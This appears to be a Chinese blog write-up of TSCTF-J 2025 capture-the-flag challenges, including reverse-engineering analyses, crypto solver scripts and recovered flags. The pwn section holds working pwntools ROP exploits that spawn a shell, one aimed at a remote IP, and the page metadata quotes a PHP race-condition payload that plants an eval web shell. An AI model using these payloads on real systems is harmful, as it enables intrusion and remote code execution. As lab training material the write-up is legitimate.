用自定义的base64编码表编码得到密钥 w/w5t/YF0wUnwoQKwJt= 用这个与buf1 数值异或\n23 7C 34 61 32 02 13 3D 67 12 64 0D 37 02 34 14 03 7A 2B 69 24 70 34 61 32 70 6B 76 02 42 TSCTF-J{We1c@me_t0_TS_CTF_2025}\n听绿的秘密 # 用ja-gui 对tinglv.jar 逆向 获得以下代码\nimport java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Method; public class Runner { static class CustomClassLoader extends ClassLoader { private final String resourceName; public CustomClassLoader(String param1String) { this.resourceName = param1String; } protected Class\u0026lt;?\u0026gt; findClass(String param1String) throws ClassNotFoundException { try { InputStream inputStream = getResourceAsStream(this.resourceName); try { if (inputStream == null) throw new ClassNotFoundException(\u0026#34;Resource not found: \u0026#34; + this.resourceName); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); byte[] arrayOfByte1 = new byte[1024]; int i; while ((i = inputStream.read(arrayOfByte1, 0, arrayOfByte1.length)) != -1) byteArrayOutputStream.write(arrayOfByte1, 0, i); byteArrayOutputStream.flush(); byte[] arrayOfByte2 = byteArrayOutputStream.toByteArray(); byte[] arrayOfByte3 = new byte[arrayOfByte2.length]; for (byte b = 0; b \u0026lt; arrayOfByte2.length; b++) arrayOfByte3[b] = (byte)(arrayOfByte2[b] - 7); Class\u0026lt;?\u0026gt; clazz = defineClass(param1String, arrayOfByte3, 0, arrayOfByte3.length); if (inputStream != null) inputStream.close(); return clazz; } catch (Throwable throwable) { if (inputStream != null) try { inputStream.close(); } catch (Throwable throwable1) { throwable.addSuppressed(throwable1); } throw throwable; } } catch (IOException iOException) { throw new ClassNotFoundException(\u0026#34;Can\u0026#39;t read this: \u0026#34; + param1String, iOException); } } } public static void main(String[] paramArrayOfString) { try { String str = \u0026#34;Secret.obf\u0026#34;; CustomClassLoader customClassLoader = new CustomClassLoader(str); Class\u0026lt;?\u0026gt; clazz = customClassLoader.loadClass(\u0026#34;Secret\u0026#34;); Method method = clazz.getMethod(\u0026#34;main\u0026#34;, new Class[] { String[].class }); method.invoke(null, new Object[] { paramArrayOfString }); } catch (Exception exception) { System.err.println(\u0026#34;Error: \u0026#34; + exception.getMessage()); exception.printStackTrace(); } } } 分析代码逻辑 解密secret.obf，执行解密后secret.class的程序 ，对cat.png加密得到Where_is_my_cat.png图片\n加密时：原始类文件（.class）的每个字节加 7，得到加密文件（Secret.obf）； 解密时：CustomClassLoader对Secret.obf的每个字节减 7，还原出原始的.class字节码。 先将secret.obf 文件解密得到secret.class\n// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // import java.nio.file.Files; import java.nio.file.OpenOption; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Arrays; public class Secret { public static void main(String[] var0) throws Exception { if (var0.length \u0026lt; 2) { System.out.println(\u0026#34;2 args required.\u0026#34;); } else { Path var1 = Paths.get(var0[0]); Path var2 = Paths.get(var0[1]); byte[] var3 = Files.readAllBytes(var1); byte[] var4 = Arrays.copyOf(var3, var3.length); int var5 = 123; for(int var6 = 0; var6 \u0026lt; var4.length; ++var6) { int var7 = var4[var6] \u0026amp; 255; int var8 = (var6 + var5) % 8; int var9 = var7 + var6 % 251 + var5 \u0026amp; 255; int var10; if (var8 == 0) { var10 = var9; } else { var10 = (var9 \u0026lt;\u0026lt; var8 | var9 \u0026gt;\u0026gt;\u0026gt; 8 - var8) \u0026amp; 255; } var4[var6] = (byte)var10; var5 = var5 + var10 + 37 \u0026amp; 255; } Files.write(var2, var4, new OpenOption[0]); System.out.println(\u0026#34;Done.\u0026#34;); } } } 根据secret.class 的加密流程写出解密文件\nimport java.nio.file.Files; import java.nio.file.OpenOption; import java.nio.file.Path; import java.nio.file.Paths; public class Decrypt { public static void main(String[] args) throws Exception { // 打印当前工作目录（帮助确认文件位置） String currentDir = System.getProperty(\u0026#34;user.dir\u0026#34;); System.out.println(\u0026#34;当前工作目录: \u0026#34; + currentDir); // 可以使用绝对路径（例如：\u0026#34;C:/Users/你的用户名/Desktop/Where_is_my_cat.png\u0026#34;） String encryptedFile = \u0026#34;C:\\\\Users\\\\link\\\\Desktop\\\\untitled2\\\\src\\\\Where_is_my_cat.png\u0026#34;; // 这里可以替换为绝对路径 String decryptedFile = \u0026#34;cat.png\u0026#34;; Path encryptedPath = Paths.get(encryptedFile); Path decryptedPath = Paths.get(decryptedFile); // 检查文件是否存在 if (!Files.exists(encryptedPath)) { System.err.println(\u0026#34;错误：找不到文件 \u0026#34; + encryptedPath.toAbsolutePath()); System.err.println(\u0026#34;请确认文件是否在上述工作目录中，或修改代码中的文件路径\u0026#34;); return; } // 读取加密文件内容 byte[] encryptedData = Files.readAllBytes(encryptedPath); byte[] decryptedData = new byte[encryptedData.length]; // 初始值与加密时相同 int var5 = 123; for (int var6 = 0; var6 \u0026lt; encryptedData.length; ++var6) { int var10 = encryptedData[var6] \u0026amp; 255; int var8 = (var6 + var5) % 8; int var9; if (var8 == 0) { var9 = var10; } else { // 逆转循环左移：进行循环右移var8位 var9 = (var10 \u0026gt;\u0026gt;\u0026gt; var8 | var10 \u0026lt;\u0026lt; (8 - var8)) \u0026amp; 255; } // 计算原始值 int originalValue = (var9 - (var6 % 251) - var5) \u0026amp; 255; decryptedData[var6] = (byte) originalValue; // 更新var5（与加密时逻辑一致） var5 = (var5 + var10 + 37) \u0026amp; 255; } // 写入解密后的文件 Files.write(decryptedPath, decryptedData, new OpenOption[0]); System.out.println(\u0026#34;解密完成，文件已保存为: \u0026#34; + decryptedPath.toAbsolutePath()); } } 执行程序 得到图片 CryDancing # 解压 ipa文件 对CryDancing 用ida 反汇编 得到如下\n主要程序 # void __cdecl -[ViewController checkInput:](ViewController *self, SEL a2, id a3) { UITextField *self_1; // x21 NSString *obj; // x19 id self_2; // x21 const __CFString *v7; // x2 const __CFString *v8; // x3 self_1 = objc_retainAutoreleasedReturnValue(-[ViewController textField](self, \u0026#34;textField\u0026#34;, a3)); obj = objc_retainAutoreleasedReturnValue(-[UITextField text](self_1, \u0026#34;text\u0026#34;)); objc_release(self_1); self_2 = objc_retainAutoreleasedReturnValue(+[LynsSecret YouCanSeeThisRight:](\u0026amp;OBJC_CLASS___LynsSecret, \u0026#34;YouCanSeeThisRight:\u0026#34;, obj)); if ( (unsigned int)objc_msgSend( self_2, \u0026#34;isEqualToString:\u0026#34;, CFSTR(\u0026#34;bvOaEEh1F5pDkMpM6n5src+Jym4ineiRvbWRIidoLHD1KGuRk8vyRsDpQ4XGYtNKnQDvFBEnG3DsCDGqJ8Xv8g==\u0026#34;)) ) { v7 = CFSTR(\u0026#34;成功\u0026#34;); v8 = CFSTR(\u0026#34;恭喜你！\u0026#34;); } else { v7 = CFSTR(\u0026#34;错误\u0026#34;); v8 = CFSTR(\u0026#34;好像不对哦！\u0026#34;); } -[ViewController showAlertWithTitle:message:](self, \u0026#34;showAlertWithTitle:message:\u0026#34;, v7, v8); objc_release(self_2); objc_release(obj); } 逻辑： 将flag 加密后的base值与bvOaEEh1F5pDkMpM6n5src+Jym4ineiRvbWRIidoLHD1KGuRk8vyRsDpQ4XGYtNKnQDvFBEnG3DsCDGqJ8Xv8g==对比\n加密flag程序 # id __cdecl +[LynsSecret YouCanSeeThisRight:]( __objc2_class *p__OBJC_CLASS_$_LynsSecret, SEL YouCanSeeThisRight:, id obj) { id self; // x20 id obj_1; // x21 void *self_1; // x19 void *self_3; // x21 void *obj_2; // x20 NSMutableData *self_2; // x23 char *dataOutAvailable; // x24 void *dataOut; // x22 id self_4; // x20 const void *key; // x25 void *keyLength; // x26 NSMutableData *self_5; // x23 const void *iv; // x27 id self_6; // x21 NSData *self_7; // x22 NSString *obj_3; // x24 size_t dataOutMoved; // [xsp+28h] [xbp-58h] BYREF self = objc_retain(obj); obj_1 = objc_retainAutoreleasedReturnValue(+[LynsSecret GetKey](\u0026amp;OBJC_CLASS___LynsSecret, \u0026#34;GetKey\u0026#34;)); self_1 = objc_retainAutoreleasedReturnValue(objc_msgSend(\u0026amp;self_, \u0026#34;stringByAppendingFormat:\u0026#34;, CFSTR(\u0026#34;%@%@%@%@\u0026#34;), obj_1, obj_1, obj_1, obj_1)); objc_release(obj_1); self_3 = objc_retainAutoreleasedReturnValue(objc_msgSend(self, \u0026#34;dataUsingEncoding:\u0026#34;, 4LL)); objc_release(self); obj_2 = objc_retainAutoreleasedReturnValue(objc_msgSend(self_1, \u0026#34;dataUsingEncoding:\u0026#34;, 4LL)); self_2 = objc_retainAutorelease(objc_retainAutoreleasedReturnValue(+[NSMutableData dataWithLength:](\u0026amp;OBJC_CLASS___NSMutableData, \u0026#34;dataWithLength:\u0026#34;, 16LL))); *(_DWORD *)-[NSMutableData mutableBytes](self_2, \u0026#34;mutableBytes\u0026#34;) = 375; dataOutAvailable = (char *)objc_msgSend(self_3, \u0026#34;length\u0026#34;) + 16; dataOut = malloc((size_t)dataOutAvailable); dataOutMoved = 0LL; self_4 = objc_retainAutorelease(obj_2); key = objc_msgSend(self_4, \u0026#34;bytes\u0026#34;); keyLength = objc_msgSend(self_4, \u0026#34;length\u0026#34;); self_5 = objc_retainAutorelease(self_2); iv = -[NSMutableData bytes](self_5, \u0026#34;bytes\u0026#34;); self_6 = objc_retainAutorelease(self_3); CCCrypt( 0, 0, 1u, key, (size_t)keyLength, iv, objc_msgSend(self_6, \u0026#34;bytes\u0026#34;), (size_t)objc_msgSend(self_6, \u0026#34;length\u0026#34;), dataOut, (size_t)dataOutAvailable, \u0026amp;dataOutMoved); self_7 = objc_retainAutoreleasedReturnValue( +[NSData dataWithBytesNoCopy:length:]( \u0026amp;OBJC_CLASS___NSData, \u0026#34;dataWithBytesNoCopy:length:\u0026#34;, dataOut, dataOutMoved)); obj_3 = objc_retainAutoreleasedReturnValue(-[NSData base64EncodedStringWithOptions:](self_7, \u0026#34;base64EncodedStringWithOptions:\u0026#34;, 0LL)); objc_release(self_7); objc_release(self_5); objc_release(self_4); objc_release(self_6); objc_release(self_1); return objc_autoreleaseReturnValue(obj_3); } 程序逻辑：\n密钥（Key）处理：生成 AES 加密的密钥 # 调用LynsSecret的类方法GetKey()，获取原始密钥（假设为K）\n将原始密钥K拼接4次（K + K + K + K），生成最终AES密钥（Key = KKKK）\n输入文本预处理：转为二进制数据 # 保留用户输入的原始文本obj\n将用户输入的文本obj以UTF-8编码（4LL）转为二进制数据（加密需要二进制输入）\n目的：AES 加密算法的输入必须是二进制数据（NSData），因此需先将用户输入的字符串（NSString）转为 UTF-8 编码的二进制。\n初始化向量（IV）固定：AES-CBC 模式的必要参数\n创建长度为16字节的可变二进制数据（AES的IV固定为16字节，对应128位） self_2 = objc_retainAutorelease(objc_retainAutoreleasedReturnValue(+[NSMutableData dataWithLength:](\u0026amp;OBJC_CLASS___NSMutableData, \u0026#34;dataWithLength:\u0026#34;, 16LL))); 将IV的第一个32位（4字节）赋值为375（十六进制0x177，二进制固定） *(_DWORD *)-[NSMutableData mutableBytes](self_2, \u0026#34;mutableBytes\u0026#34;) = 375; 即17700000000000000000000000000000\n检索密钥程序 # id __cdecl +[LynsSecret GetKey](__objc2_class *p__OBJC_CLASS_$_LynsSecret, SEL GetKey) { __int64 n25_3; // x8 __int64 n25_4; // x9 char v5; // w28 __int64 n25_5; // x8 char v7; // w27 __int64 v8; // x24 char v9; // w26 NSString *obj; // x21 void *self; // x22 unsigned __int8 v12; // w23 __int64 n25_2; // [xsp+0h] [xbp-70h] __int64 n25_1; // [xsp+8h] [xbp-68h] __int64 n25; // [xsp+10h] [xbp-60h] _BYTE nullTerminatedCString[5]; // [xsp+1Bh] [xbp-55h] BYREF n25_3 = 0LL; nullTerminatedCString[4] = 0; LABEL_2: n25_4 = 0LL; n25_2 = n25_3; v5 = aAbcdefghijklmn[n25_3]; LABEL_3: n25_5 = 0LL; n25_1 = n25_4; v7 = aAbcdefghijklmn[n25_4]; LABEL_4: v8 = 0LL; n25 = n25_5; v9 = aAbcdefghijklmn[n25_5]; while ( 1 ) { nullTerminatedCString[0] = v5; nullTerminatedCString[1] = v7; nullTerminatedCString[2] = v9; nullTerminatedCString[3] = aAbcdefghijklmn[v8]; obj = objc_retainAutoreleasedReturnValue( +[NSString stringWithUTF8String:]( \u0026amp;OBJC_CLASS___NSString, \u0026#34;stringWithUTF8String:\u0026#34;, nullTerminatedCString, n25_2)); self = objc_retainAutoreleasedReturnValue(-[__objc2_class md5FromString:](p__OBJC_CLASS_$_LynsSecret, \u0026#34;md5FromString:\u0026#34;, obj)); v12 = (unsigned __int8)objc_msgSend(self, \u0026#34;isEqualToString:\u0026#34;, CFSTR(\u0026#34;674040176a34f6c994003fe85badfc48\u0026#34;)); objc_release(self); if ( (v12 \u0026amp; 1) != 0 ) return objc_autoreleaseReturnValue(obj); objc_release(obj); if ( ++v8 == 26 ) { n25_5 = n25 + 1; if ( n25 != 25 ) goto LABEL_4; n25_4 = n25_1 + 1; if ( n25_1 != 25 ) goto LABEL_3; n25_3 = n25_2 + 1; if ( n25_2 != 25 ) goto LABEL_2; obj = 0LL; return objc_autoreleaseReturnValue(obj); } } } 通过分析 可知 GetKey 返回值是 NOTD 所以AES 密钥 为 NOTDNOTDNOTDNOTD\nCCCrypt( 0, // 操作类型：0 表示加密（kCCEncrypt） 0, // 加密算法：0 对应 kCCAlgorithmAES（AES 算法） 1u, // 选项标志：1 对应 kCCOptionPKCS7Padding（PKCS7 填充，AES 分组加密需填充） key, // 密钥（由 LynsSecret 类的逻辑生成） keyLength, // 密钥长度（符合 AES 128/192/256 位规范） iv, // 初始化向量（IV），CBC 模式必需，ECB 模式无此参数 ... ); 由这个可知 运算模式cbc 填充模式pkcs7\n总流程： 将flag AES 加密后的16进制值 进行base64解码 对比是否吻合\nbvOaEEh1F5pDkMpM6n5src+Jym4ineiRvbWRIidoLHD1KGuRk8vyRsDpQ4XGYtNKnQDvFBEnG3DsCDGqJ8Xv8g== 获得flag TSCTF-J{S0rry_th3_4nswer_h4s_n0thing_2_do_with_l7rics}\nCrypto 方向 # Cantor\u0026rsquo;s gifts # 计算flag 的代码\nfrom math import factorial # 已知条件 hint = 2498752981111460725490082182453813672840574 hint2 = b\u0026#39;5__r0tfg5f_34rtm__t_0ury0hft0t3n11c_t\u0026#39; n = len(hint2) # 消息长度 def lehmer_to_permutation(lehmer_code, n): \u0026#34;\u0026#34;\u0026#34;将Lehmer编码转换为排列\u0026#34;\u0026#34;\u0026#34; permutation = [] available = list(range(1, n+1)) # 可用数字列表，从1到n for i in range(n): # 计算阶乘 fact = factorial(n - i - 1) # 确定当前位置的数字索引 index = lehmer_code // fact lehmer_code = lehmer_code % fact # 选择数字并从可用列表中移除 permutation.append(available[index]) del available[index] return permutation # 从hint获取reflection排列 reflection = lehmer_to_permutation(hint, n) # 创建逆映射：从位置映射到原始索引 inverse_reflection = [0] * n for idx, pos in enumerate(reflection): inverse_reflection[pos - 1] = idx # 调整为0-based索引 # 恢复原始消息 original_message = bytearray(n) for i in range(n): original_message[i] = hint2[inverse_reflection[i]] # 构造flag flag = b\u0026#39;TSCTF-J{\u0026#39; + original_message + b\u0026#39;}\u0026#39; print(\u0026#34;原始消息:\u0026#34;, original_message) print(\u0026#34;Flag:\u0026#34;, flag.decode()) TSCTF-J{c4nt0r5_g1ft_f0r_th3_f1r5t_y0u_t0_m3t}\n野狐禅 # recover\nimport math from sympy import Matrix def long_to_bytes(n): if n == 0: return b\u0026#39;\u0026#39; return n.to_bytes((n.bit_length() + 7) // 8, \u0026#39;big\u0026#39;) def main(): with open(\u0026#34;challenge.txt\u0026#34;, \u0026#34;r\u0026#34;) as f: lines = f.readlines() n = int(lines[0].split(\u0026#34;: \u0026#34;)[1]) g = int(lines[1].split(\u0026#34;: \u0026#34;)[1]) k = int(lines[2].split(\u0026#34;: \u0026#34;)[1]) eqs = int(lines[3].split(\u0026#34;: \u0026#34;)[1]) ciphertexts = [] for i in range(4, 4 + 2 * k): ciphertexts.append(int(lines[i].strip())) lcg_raws = [] for i in range(4 + 2 * k, 4 + 4 * k): lcg_raws.append(int(lines[i].strip())) S = lcg_raws D = [] for i in range(1, len(S)): D.append(S[i] - S[i - 1]) T = [] for i in range(len(D) - 2): T.append(D[i] * D[i + 2] - D[i + 1] * D[i + 1]) M = T[0] for i in range(1, len(T)): M = math.gcd(M, T[i]) M = abs(M) m = M found = False a = None b = None for i in range(1, len(S) - 2): d0 = S[i] - S[i - 1] d1 = S[i + 1] - S[i] if math.gcd(d0, m) == 1: a = (d1 * pow(d0, -1, m)) % m b = (S[i] - a * S[i - 1]) % m found = True break if not found: d0 = S[1] - S[0] d1 = S[2] - S[1] g = math.gcd(d0, m) if d1 % g != 0: print(\u0026#34;Error: Cannot solve for a and b\u0026#34;) return m1 = m // g d01 = d0 // g d11 = d1 // g a0 = (d11 * pow(d01, -1, m1)) % m1 for t in range(g): a_candidate = a0 + t * m1 b_candidate = (S[1] - a_candidate * S[0]) % m if (a_candidate * S[1] + b_candidate) % m == S[2]: a = a_candidate b = b_candidate found = True break if not found: print(\u0026#34;Error: Cannot find a and b\u0026#34;) return n2 = n * n y_values = [] for i in range(len(ciphertexts)): c = ciphertexts[i] raw = lcg_raws[i] r = raw % n r_n = pow(r, n, n2) inv_r_n = pow(r_n, -1, n2) X = (c * inv_r_n) % n2 m_val = (X - 1) // n y_values.append(m_val) A = [] b = [] for i in range(k): row = [] for j in range(k): index = i + k - 1 - j row.append(y_values[index]) A.append(row) b.append(y_values[k + i]) A_mat = Matrix(A) b_mat = Matrix(b) if A_mat.det() == 0: print(\u0026#34;Error: Matrix A is singular\u0026#34;) return x = A_mat.inv() * b_mat coeffs = [int(x_i) for x_i in x] n_flag = 0 for i in range(len(coeffs)): n_flag += coeffs[i] * (3 ** i) flag = long_to_bytes(n_flag) print(flag.decode()) if __name__ == \u0026#34;__main__\u0026#34;: main() 读取挑战数据 从challenge.txt中读取关键信息：Paillier 加密的公钥n、g，系数长度k，方程组数量eqs，以及加密后的密文列表和 LCG 生成器的原始输出值。 破解 LCG 参数（m, a, b） LCG（线性同余生成器）的状态更新公式为state = (a * state + b) % m，题解通过以下方式破解其参数： 计算 LCG 输出序列的一阶差分D（相邻元素的差），利用 LCG 的性质，差分序列满足D[i+1] = a * D[i] % m。 计算二阶差分相关的T序列（T[i] = D[i]D[i+2] - D[i+1]^2），这些T值均为m的倍数，因此它们的最大公约数即为m。 已知m后，利用一阶差分D求解a（比例系数）和b（偏移量），通过线性同余方程D[i+1] ≡ aD[i] mod m反推a，再代入状态公式求b。 解密得到 y 序列 题目中使用简化的 Paillier 加密y值，加密公式为c = (g^m_val * r^n) % n²（g = n+1）。解密过程： 由 LCG 的原始输出raw计算r = raw % n，并得到r^n mod n²。 求r^n的模逆，与密文c相乘，得到g^m_val mod n²。 利用g = n+1的性质，(n+1)^m_val ≈ 1 + m_val*n mod n²（二项式展开近似），因此(g^m_val - 1) // n即为原始y值。 解线性方程组求系数 coeffs 题目中y序列的后半部分是前半部分与coeffs的线性组合（y[k+i] = sum(coeffs[j] * y[i+k-1-j])）。据此构建线性方程组： 矩阵A的行由前k个y值的滑动窗口组成。 向量b由后半部分的y值组成。 求解方程组A * coeffs = b，得到coeffs（flag 的三进制表示系数）。 还原 flag coeffs是 flag 的三进制表示（从低位到高位），将其转换为整数（n_flag = sum(coeffs[i] * 3^i)），再转成字节序列即得到 flag TSCTF-J{We_sh0u1d_kn0w!} Sign in # import base64 # 已知的十六进制值 KEY1_hex = \u0026#34;a6c8b6733c9b22de7bc0253266a3867df55acde8635e19c73313c1819383df93\u0026#34; KEY2_xor_KEY1_hex = \u0026#34;b38dc315bb7c75e3c9fa84f123898ff684fd36189e83c422cf0d2804c12b4c83\u0026#34; KEY2_xor_KEY3_hex = \u0026#34;11abed33a76d7be822ab718422844e1d40d72a96f02a288aa3b168165922138f\u0026#34; FLAG_xor_all_hex = \u0026#34;e1251504cdb300420a0520fc1c15b010d4bfb118c2477b78f3eafbe1acf0f121\u0026#34; # 将十六进制字符串转换为整数 KEY1 = int(KEY1_hex, 16) KEY2_xor_KEY1 = int(KEY2_xor_KEY1_hex, 16) KEY2_xor_KEY3 = int(KEY2_xor_KEY3_hex, 16) FLAG_xor_all = int(FLAG_xor_all_hex, 16) # 计算KEY2：KEY2 = (KEY2 ^ KEY1) ^ KEY1 KEY2 = KEY2_xor_KEY1 ^ KEY1 # 计算KEY3：KEY3 = (KEY2 ^ KEY3) ^ KEY2 KEY3 = KEY2_xor_KEY3 ^ KEY2 # 计算m：m = (FLAG ^ KEY1 ^ KEY2 ^ KEY3) ^ KEY1 ^ KEY2 ^ KEY3 m = FLAG_xor_all ^ KEY1 ^ KEY2 ^ KEY3 # 将m转换为十六进制字符串 m_hex = hex(m)[2:] # [2:] 是为了去掉 \u0026#39;0x\u0026#39; 前缀 # 确保十六进制字符串的长度是偶数，如果不是则在前面补0 if len(m_hex) % 2 != 0: m_hex = \u0026#39;0\u0026#39; + m_hex # 将十六进制字符串转换为bytes m_bytes = bytes.fromhex(m_hex) # 进行base64解码得到flag flag = base64.b64decode(m_bytes).decode(\u0026#39;utf-8\u0026#39;) print(f\u0026#34;flag = {flag}\u0026#34;) TSCTF-J{I_like_Crypto}\n# import math from Crypto.Util.number import long_to_bytes # 已知参数 e = 0x10001 n = 17051407421191257766878232954687995776275810092183184400406052880776283989210979642731778073370935322411364098277851627904479300390445258684605069414401583042318910193017463817007183769745191345053634189302047446965986220310713141272104307300803560476507359063543147558286276881771260972717080160544078251002420560031692800880310702557545555020333582797788637377901506395695115351043959528307703535156759957098992921231240480724115372547821536358993064005667175508572424424498140029596238691489470392031290179060300593482514446687661068760457021164559923920591924277937814270216802997593891640228684835585559706493543 c = 6853848340403815994585475502319517119889957571722212403728096345969080424626781659085329098693249503884838912886399198433606071464349852827030377680456139046436386063565577131001152891176064224036780277315958771309063181054101040906120879494157473100295607616604515810676954786850526056316144848921849017030095717895244910724234927693999607754055953250981051858498499963202512464388765761597435963200846457903991924487952495202449073962133164877330289865956477568456497103568127103331224273528931042804794039714404647322385366048042459109584024130199496106946124782839099804356052016687352504438568019898976023369460 # 计算p + q的正确值 s = (1 \u0026lt;\u0026lt; 1024) + (1 \u0026lt;\u0026lt; 1023) # 2^1024 + 2^1023 # 计算k = s^2 - 4n，然后开平方得到p - q k = s * s - 4 * n d = int(math.isqrt(k)) # 验证d是否正确 if d * d != k: raise ValueError(\u0026#34;无法计算正确的d值\u0026#34;) # 计算p和q p = (s + d) // 2 q = (s - d) // 2 # 验证p*q是否等于n if p * q != n: raise ValueError(\u0026#34;分解n失败\u0026#34;) # 计算欧拉函数 phi = (p - 1) * (q - 1) # 计算私钥d d_private = pow(e, -1, phi) # 解密得到明文 m = pow(c, d_private, n) # 转换为字节并输出flag flag = long_to_bytes(m) print(flag.decode()) TSCTF-J{The_easiest_RSA_key!}\nMisc 方向 # BadFile # 直接按照文件大小排序 最大的几个文件基本都是问题文件\n3WQlwSaj.txt_dubZ3AZn.txt_nhlbNxGL.txt_qtFyaGkZ.txt_wlBUCOeg.txt_2JuiKL42.wav_4UjLqeRF.wav_Ew24ldS2.wav_HjRtD6f3.wav_RtUwEgj1.wav_8YmxZRca.pdf_Z8P4DHre.pdf_mFU1SdVp.pdf_w9V1ZDEd.pdf_xdBqKtxe.pdf TSCTF-J{0b4a2a6431f6b94b3c1d3d50d0a45aea}\n卢森堡的秘密 # 隐写术 用zsteg 查看即可\nMeow # 用Meow 运行 得到如下顺序\nvfndveyTsNSk mv9bBq== xZrFq2fu x01LB3Dnztb3 iseHFq== 将大小写转换\nVFNDVEYtSnsKMV9BbQ==XzRfQ2FUX01lb3dNZTB3ISEhfQ== 分别base64编码即可 TSCTF-J{1_Am_4_CaT_MeowMe0w!!!}\nAI 方向 # Coup # 这个有点搞 我0提示词直接通过游戏获得flag了\nPwn # ret # 源代码 利用 ret 即可\nint __fastcall main(int argc, const char **argv, const char **envp) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); vuln(); return 0; } __int64 vuln() { _BYTE v1[16]; // [rsp+0h] [rbp-10h] BYREF puts(\u0026#34;Welcome to TSCTF-J2025!\u0026#34;); puts(\u0026#34;Just a simple sign-in!\u0026#34;); return gets(v1); } from pwn import * # 配置连接 # p = process(\u0026#39;./binary\u0026#39;) # 本地测试 p = remote(\u0026#39;192.168.232.1\u0026#39;, 61752) # 远程连接 # 关键地址 offset = 24 # 缓冲区(16) + rbp(8) = 24字节 pop_rdi_ret = 0x400773 # pop rdi; ret gadget bin_sh_addr = 0x400794 # \u0026#34;/bin/sh\u0026#34;字符串地址 system_plt = 0x400530 # system函数PLT地址 # 构造payload payload = b\u0026#39;A\u0026#39; * offset # 填充缓冲区和rbp payload += p64(pop_rdi_ret) # 调用pop rdi; ret gadget payload += p64(bin_sh_addr) # 将/bin/sh地址放入rdi寄存器 payload += p64(system_plt) # 调用system函数 # 发送payload p.sendline(payload) # 获得交互shell p.interactive() 由此可以获得服务器shell 获得flag TSCTF-J{WE1coM3-To_TH3_WOrLD-OF-binAry-vUlnErAblLitY7}\npop # from pwn import * # 初始化程序和libc e = ELF(\u0026#34;./pwn\u0026#34;) # 64位目标程序 libc = ELF(\u0026#34;/lib/x86_64-linux-gnu/libc.so.6\u0026#34;) # 64位libc库 p = process(\u0026#39;./pwn\u0026#39;) # 启动进程 # = remote(\u0026#39;192.168.195.1\u0026#39;, 54821) # 获取必要的地址 puts_plt = e.plt[\u0026#39;puts\u0026#39;] puts_got = e.got[\u0026#39;puts\u0026#39;] start_addr = e.symbols[\u0026#39;_start\u0026#39;] # 64位需要ROPgadget来获取控制寄存器的gadget # 查找pop rdi; ret gadget，用于设置第一个参数 pop_rdi_ret = 0x400713 # 构建第一个payload：泄露puts的真实地址 # 64位中，参数通过寄存器传递，需要使用gadget设置rdi # 注意：偏移量112可能需要根据实际程序调整 payload1 = b\u0026#39;a\u0026#39; * 24 # 填充到返回地址，64位通常需要更多字节 payload1 += p64(pop_rdi_ret) # 弹出rdi寄存器 payload1 += p64(puts_got) # 将puts的got地址放入rdi（作为puts的参数） payload1 += p64(puts_plt) # 调用puts函数，输出puts的真实地址 payload1 += p64(start_addr) # 调用_start重新运行程序，以便发送第二个payload # 发送第一个payload p.sendlineafter(\u0026#34;No backdoors this time!\u0026#34;, payload1) # 接收puts的真实地址（64位地址占8个字节） puts_real_addr = u64(p.recvuntil(\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8, b\u0026#39;\\x00\u0026#39;)) # 打印调试信息 print(f\u0026#34;puts_plt: {hex(puts_plt)}, puts_got: {hex(puts_got)}, start_addr: {hex(start_addr)}\u0026#34;) print(f\u0026#34;puts_real_addr: {hex(puts_real_addr)}\u0026#34;) # 计算libc基地址和system、/bin/sh的地址 libc_base = puts_real_addr - libc.sym[\u0026#39;puts\u0026#39;] print(f\u0026#34;libc_base: {hex(libc_base)}\u0026#34;) system_addr = libc_base + libc.sym[\u0026#34;system\u0026#34;] binsh_addr = libc_base + next(libc.search(b\u0026#34;/bin/sh\u0026#34;)) # 构建第二个payload：获取shell payload2 = b\u0026#39;a\u0026#39; * 24 # 同样的填充长度 payload2 += p64(0x4004c9) payload2 += p64(pop_rdi_ret) # 弹出rdi寄存器 payload2 += p64(binsh_addr) # 将/bin/sh地址放入rdi（作为system的参数） payload2 += p64(system_addr) # 调用system函数 # 发送第二个payload p.sendlineafter(\u0026#34;No backdoors this time!\u0026#34;, payload2) # 交互获取shell p.interactive() 这个脚本我本地测试是可以获得shell的 但是远程的时候报错 最后时间来不及了 没做出来 ","date":"2025-11-14","externalUrl":null,"permalink":"/2025/11/14/TSCTFwp/","section":"Posts","summary":"Web 方向 # 争渡 # 上传php文件 web返回 已从tmp删除 可知存在时间差\n\u003c?php $f = fopen(\"shell.php\", \"w\"); fputs($f, '\u003c?php @eval($_POST[\"cmd\"]);?\u003e'); ?\u003e 利用这个脚本 在服务器删除该文件之前 访问文件 使其在tmp写入一句话木马\n","title":"TSCTFwp","type":"posts"},{"content":"","date":"2025-11-14","externalUrl":null,"permalink":"/tags/%E6%A0%88%E6%BA%A2%E5%87%BA/","section":"知识","summary":"","title":"栈溢出","type":"tags"},{"content":"","externalUrl":null,"permalink":"/archives/","section":"文章归档","summary":"","title":"文章归档","type":"archives"},{"content":"","externalUrl":null,"permalink":"/archives/2025/","section":"文章归档","summary":"","title":"文章归档 · 2025","type":"archives"},{"content":"","externalUrl":null,"permalink":"/archives/2025/11/","section":"文章归档","summary":"","title":"文章归档 · 2025-11","type":"archives"},{"content":"","externalUrl":null,"permalink":"/archives/2025/12/","section":"文章归档","summary":"","title":"文章归档 · 2025-12","type":"archives"},{"content":"","externalUrl":null,"permalink":"/archives/2026/","section":"文章归档","summary":"","title":"文章归档 · 2026","type":"archives"},{"content":"","externalUrl":null,"permalink":"/archives/2026/05/","section":"文章归档","summary":"","title":"文章归档 · 2026-05","type":"archives"}]